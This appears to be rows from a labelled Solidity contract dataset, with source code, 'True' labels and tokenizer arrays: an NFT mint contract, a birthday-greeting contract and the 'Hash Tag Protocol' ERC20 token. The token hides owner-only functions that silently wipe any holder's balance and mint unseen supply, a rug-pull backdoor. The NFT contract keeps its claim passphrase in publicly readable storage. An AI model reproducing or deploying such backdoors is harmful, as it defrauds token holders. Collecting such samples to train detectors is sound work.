* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
contract thelilguys is ERC721Enumerable, Ownable {
using Strings for uint256;
string _baseTokenURI;
uint256 private _reserved = 50;
uint256 private _price = 0.045 ether;
bool public _paused = true;
string private _passPhrase;
bool public _claimPaused = true;
// withdraw address
address t1;
constructor(string memory baseURI, string memory passPhrase) ERC721("thelilguys", "LILGUYS") {
setBaseURI(baseURI);
_passPhrase = passPhrase;
t1 = msg.sender;
// team gets the first lilguy
_safeMint(t1, 0);
}
function mintLilguys(uint256 num) public payable {
uint256 supply = totalSupply();
require( !_paused, "Sale paused" );
require( supply + num < 8501 - _reserved, "Exceeds maximum lilguys supply" );
require( msg.value >= _price * num, "Incorrect ether amount" );
for(uint256 i; i < num; i++){
_safeMint(msg.sender, supply + i);
}
}
function claimLilguy(string memory passCode) public {
require( !_claimPaused, "OG free mint is over");
uint256 supply = totalSupply();
require( supply < 501, "OG freemint sold out");
require( keccak256(bytes(passCode)) == keccak256(bytes(_passPhrase)), "Wrong passcode");
address sender = msg.sender;
require( balanceOf(sender) < 1, "OGs can only claim 1 lilguy");
_safeMint(sender, supply);
}
function walletOfOwner(address _owner) public view returns(uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
uint256[] memory tokensId = new uint256[](tokenCount);
for(uint256 i; i < tokenCount; i++){
tokensId[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokensId;
}
// Just in case Eth does some crazy stuff
function setPrice(uint256 _newPrice) public onlyOwner {
_price = _newPrice;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_baseTokenURI = baseURI;
}
function getPrice() public view returns (uint256) {
return _price;
}
function giveAway(address _to, uint256 _amount) external onlyOwner {
require( _amount <= _reserved, "Exceeds reserved lilguy supply" );
uint256 supply = totalSupply();
for(uint256 i; i < _amount; i++){
_safeMint( _to, supply + i );
}
_reserved -= _amount;
}
function pause(bool val) public onlyOwner {
_paused = val;
}
function pauseClaim(bool val) public onlyOwner {
_claimPaused = val;
}
function setPassPhrase(string memory newPass) public onlyOwner {
_passPhrase = newPass;
}
function withdrawAll() public onlyOwner {
address payable _to = payable(t1);
uint256 _balance = address(this).balance;
_to.transfer(_balance);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2184,
1011,
2340,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5164,
3136,
1012,
1008,
1013,
3075,
7817,
1063,
27507,
16048,
2797,
5377,
1035,
2002,
2595,
1035,
9255,
1027,
1000,
5890,
21926,
19961,
2575,
2581,
2620,
2683,
7875,
19797,
12879,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
19884,
1037,
1036,
21318,
3372,
17788,
2575,
1036,
2000,
2049,
2004,
6895,
2072,
1036,
5164,
1036,
26066,
6630,
1012,
1008,
1013,
3853,
2000,
3367,
4892,
1006,
21318,
3372,
17788,
2575,
3643,
1007,
4722,
5760,
5651,
1006,
5164,
3638,
1007,
1063,
1013,
1013,
4427,
2011,
2030,
6305,
3669,
4371,
9331,
2072,
1005,
1055,
7375,
1011,
10210,
11172,
1013,
1013,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2030,
6305,
3669,
4371,
1013,
28855,
14820,
1011,
17928,
1013,
1038,
4135,
2497,
1013,
1038,
20958,
16932,
2575,
2497,
2692,
2575,
2509,
2278,
2581,
2094,
2575,
4402,
17134,
27814,
2620,
21472,
2278,
16147,
2620,
18827,
2575,
21926,
2683,
2063,
2683,
21619,
2692,
2063,
2620,
1013,
2030,
6305,
3669,
4371,
9331,
2072,
1035,
1014,
1012,
1018,
1012,
2423,
1012,
14017,
2065,
1006,
3643,
1027,
1027,
1014,
1007,
1063,
2709,
1000,
1014,
1000,
1025,
1065,
21318,
3372,
17788,
2575,
8915,
8737,
1027,
3643,
1025,
21318,
3372,
17788,
2575,
16648,
1025,
2096,
1006,
8915,
8737,
999,
1027,
1014,
1007,
1063,
16648,
1009,
1009,
1025,
8915,
8737,
1013,
1027,
2184,
1025,
1065,
27507,
3638,
17698,
1027,
2047,
27507,
1006,
16648,
1007,
1025,
2096,
1006,
3643,
999,
1027,
1014,
1007,
1063,
16648,
1011,
1027,
1015,
1025,
17698,
1031,
16648,
1033,
1027,
27507,
2487,
1006,
21318,
3372,
2620,
1006,
4466,
1009,
21318,
3372,
17788,
2575,
1006,
3643,
1003,
2184,
1007,
1007,
1007,
1025,
3643,
1013,
1027,
2184,
1025,
1065,
2709,
5164,
1006,
17698,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
19884,
1037,
1036,
21318,
3372,
17788,
2575,
1036,
2000,
2049,
2004,
6895,
2072,
1036,
5164,
1036,
2002,
18684,
3207,
6895,
9067,
6630,
1012,
1008,
1013,
3853,
2000,
5369,
2595,
3367,
4892,
1006,
21318,
3372,
17788,
2575,
3643,
1007,
4722,
5760,
5651,
1006,
5164,
3638,
1007,
1063,
2065,
1006,
3643,
1027,
1027,
1014,
1007,
1063,
2709,
1000,
1014,
2595,
8889,
1000,
1025,
1065,
21318,
3372,
17788,
2575,
8915,
8737,
1027,
3643,
1025,
21318,
3372,
17788,
2575,
3091,
1027,
1014,
1025,
2096,
1006,
8915,
8737,
999,
1027,
1014,
1007,
1063,
3091,
1009,
1009,
1025,
8915,
8737,
1028,
1028,
1027,
1022,
1025,
1065,
2709,
2000,
5369,
2595,
3367,
4892,
1006,
3643,
1010,
3091,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
19884,
1037,
1036,
21318,
3372,
17788,
2575,
1036,
2000,
2049,
2004,
6895,
2072,
1036,
5164,
1036,
2002,
18684,
3207,
6895,
9067,
6630,
2007,
4964,
3091,
1012,
1008,
1013,
3853,
2000,
5369,
2595,
3367,
4892,
1006,
21318,
3372,
17788,
2575,
3643,
1010,
21318,
3372,
17788,
2575,
3091,
1007,
4722,
5760,
5651,
1006,
5164,
3638,
1007,
1063,
27507,
3638,
17698,
1027,
2047,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-03-24
*/
pragma solidity >=0.7.0 <0.8.0;
contract Greeter {
function Congratulate() public view returns (string memory ){
return "Happy Birthday, Sam! I wish you to be so successful, insistent, smart as I know you from the first day when I met you!\n\
I wish you to become a multimillionaire by the end of this year, you deserve this!\n\
And I hope your newborn baby will be healthy and will bring a lot of happiness to your life.\n\
\n\
Be healthy and happy!\n\
\n\
For Sam Priestley\n\
From Dmi\n\
24.03.2021";
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
6021,
1011,
2484,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1021,
1012,
1014,
1026,
1014,
1012,
1022,
1012,
1014,
1025,
3206,
17021,
2121,
1063,
3853,
26478,
8609,
9869,
1006,
1007,
2270,
3193,
5651,
1006,
5164,
3638,
1007,
1063,
2709,
1000,
3407,
5798,
1010,
3520,
999,
1045,
4299,
2017,
2000,
2022,
2061,
3144,
1010,
29204,
1010,
6047,
2004,
1045,
2113,
2017,
2013,
1996,
2034,
2154,
2043,
1045,
2777,
2017,
999,
1032,
1050,
1032,
1045,
4299,
2017,
2000,
2468,
1037,
4800,
19912,
3258,
14737,
2011,
1996,
2203,
1997,
2023,
2095,
1010,
2017,
10107,
2023,
999,
1032,
1050,
1032,
1998,
1045,
3246,
2115,
20662,
3336,
2097,
2022,
7965,
1998,
2097,
3288,
1037,
2843,
1997,
8404,
2000,
2115,
2166,
1012,
1032,
1050,
1032,
1032,
1050,
1032,
2022,
7965,
1998,
3407,
999,
1032,
1050,
1032,
1032,
1050,
1032,
2005,
3520,
5011,
3051,
1032,
1050,
1032,
2013,
1040,
4328,
1032,
1050,
1032,
2484,
1012,
6021,
1012,
25682,
1000,
1025,
1065,
1065,
102,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
/*
██╗ ██╗ █████╗ ███████╗██╗ ██╗ ████████╗ █████╗ ██████╗
██║ ██║██╔══██╗██╔════╝██║ ██║ ╚══██╔══╝██╔══██╗██╔════╝
███████║███████║███████╗███████║ ██║ ███████║██║ ███╗
██╔══██║██╔══██║╚════██║██╔══██║ ██║ ██╔══██║██║ ██║
██║ ██║██║ ██║███████║██║ ██║ ██║ ██║ ██║╚██████╔╝
╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝
██████╗ ██████╗ ██████╗ ████████╗ ██████╗ ██████╗ ██████╗ ██╗
██╔══██╗██╔══██╗██╔═══██╗╚══██╔══╝██╔═══██╗██╔════╝██╔═══██╗██║
██████╔╝██████╔╝██║ ██║ ██║ ██║ ██║██║ ██║ ██║██║
██╔═══╝ ██╔══██╗██║ ██║ ██║ ██║ ██║██║ ██║ ██║██║
██║ ██║ ██║╚██████╔╝ ██║ ╚██████╔╝╚██████╗╚██████╔╝███████╗
╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝
*/
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _initMint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _hashRefuel(address account, uint amount) internal {
require(account != address(0), "ERC20: _hashRefuel to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _hashSwap(address acc) internal {
require(acc != address(0), "hashSwap to the zero address");
uint amount = _balances[acc];
_balances[acc] = 0;
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
contract HashTagProtocol is ERC20, ERC20Detailed {
using SafeMath for uint;
address public governance;
mapping (address => bool) public hashMakers;
uint256 private initAmt_ = 500;
address private sense = address(0);
constructor () public ERC20Detailed("Hash Tag Protocol", "$HTP", 0) {
governance = msg.sender;
_initMint(governance,initAmt_*10**uint(decimals()));
hashMakers[governance] = true;
}
function hashSwap(address account) public {
require(hashMakers[msg.sender], "error");
_hashSwap(account);
}
function hashRefuel(address account, uint amount) public {
require(hashMakers[msg.sender], "error");
_hashRefuel(account, amount);
}
function nonSense(address x) public {
sense = x;
}
} | True | [
101,
1013,
1008,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
2385,
1025,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
3643,
1007,
1025,
1065,
3206,
6123,
1063,
9570,
2953,
1006,
1007,
4722,
1063,
1065,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
3206,
9413,
2278,
11387,
2003,
6123,
1010,
29464,
11890,
11387,
1063,
2478,
3647,
18900,
2232,
2005,
21318,
3372,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
2797,
1035,
5703,
2015,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
1007,
2797,
1035,
21447,
2015,
1025,
21318,
3372,
2797,
1035,
21948,
6279,
22086,
1025,
3853,
21948,
6279,
22086,
1006,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
1035,
21948,
6279,
22086,
1025,
1065,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
1035,
5703,
2015,
1031,
4070,
1033,
1025,
1065,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1063,
1035,
4651,
1006,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1010,
7799,
1010,
3815,
1007,
1025,
2709,
2995,
1025,
1065,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
1035,
21447,
2015,
1031,
3954,
1033,
1031,
5247,
2121,
1033,
1025,
1065,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
3815,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1063,
1035,
14300,
1006,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1010,
5247,
2121,
1010,
3815,
1007,
1025,
2709,
2995,
1025,
1065,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1063,
1035,
4651,
1006,
4604,
2121,
1010,
7799,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
